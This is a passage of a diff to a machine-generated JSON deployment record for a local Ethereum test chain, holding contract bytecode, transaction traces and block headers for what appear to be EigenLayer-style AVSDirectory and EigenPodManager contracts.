08301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033", - "gas_used": 1560351, - "gas_limit": 2081559, - "status": "Return", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [ - { - "raw_log": { - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - } - ], - "ordering": [ - { - "Log": 0 - } - ] - } - ], - "exit": "Return", - "out": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033", - "nonce": 14, - "gas_used": 1739553 - }, - "receipt": { - "type": "0x2", - "status": "0x1", - "cumulativeGasUsed": "0x92cf5b", - "logs": [ - { - "address": "0x9a676e781a523b5d0c0e43731313a708cb607508", - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" - } - ], - "logsBloom": "0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "impersonated_sender": null + } + ], + "ommers": [] + }, + { + "header": { + "parentHash": "0x8aa0904c878d1b06916d71fd7087ff1a672bcf725fc781d577775980b707280c", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0xa300594335aa30ba7f5ac57c21b9d07faddde3d61ed2e89395f04ec11637efee", + "transactionsRoot": "0x2be7553a5865adbc6bff815f04f505c924560d3c96a50089e7cffa58510bcdcd", + "receiptsRoot": "0xe8296af17e54e8f4a8746cf8b3b1e0c54684b30b6d2ec46e28d7849a63f486e4", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200", + "difficulty": "0x0", + "number": "0x14", + "gasLimit": "0x1c9c380", + "gasUsed": "0x29509", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x630dc66", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" }, - "block_hash": "0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88", - "block_number": 8 + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x17", + "gas": "0x3c6c3", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "value": "0x0", + "accessList": [], + "input": "0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000", + "r": "0x7e791feb791c6a1b5c06945c2e1e6b420cc1b666ec0b184ce951a8dd6034f2b", + "s": "0x33920b9f39f3dfb6806b1aa4cc3b780b3e97c41a414b396ba34e713c89f41804", + "yParity": "0x0", + "hash": "0x70bb1d58f6521a3b3c19dd151c65f4903e57a4c0979f69d1d5d1ebc8e9929cfc" + } + }, + "impersonated_sender": null + } + ], + "ommers": [] }, + { + "header": { + "parentHash": "0x862d86059782d813228eeca6e42482fd07d3baf164c47520b0953001dfb46af9", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0xbb93cadb8a3889ac4f788d159ad9ec72b6908f2365e0b63917dcdd5b1a6de38a", + "transactionsRoot": "0x31bc5e93aead970f271283deb6ca355074adc1010f3a4a1542428c755b966e62", + "receiptsRoot": "0x19e95c9ae96bcfaa35669da649163148d0399e12912dd92bd34428c6538b2f08", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "difficulty": "0x0", + "number": "0x1d", + "gasLimit": "0x1c9c380", + "gasUsed": "0x64c4", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x1eb21ee", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" + }, + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x20", + "gas": "0x8b2e", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "to": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "value": "0x0", + "accessList": [], + "input": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "r": "0x729bcd296b95dc9fbbed8beeb842a62c4366afa92bbccac951f3dacff067c0fd", + "s": "0x79af5af4279f42a9f851e8e3eeb8ac3c64b30df48035e1584ae364c9e678585a", + "yParity": "0x0", + "hash": "0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278" + } + }, + "impersonated_sender": null + } + ], + "ommers": [] + } + ], + "transactions": [ { "info": { - "transaction_hash": "0x28ad3c06a0638a86d07e812df07c67955b5de018fbc6905e076224ee20f458e3", + "transaction_hash": "0x9df730c443d92dfe2e29174fa911531116d270bf29cc55981068a8a89b1de078", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae", + "contract_address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "traces": [ { "parent": null, @@ -2029,15 +1760,15 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae", + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f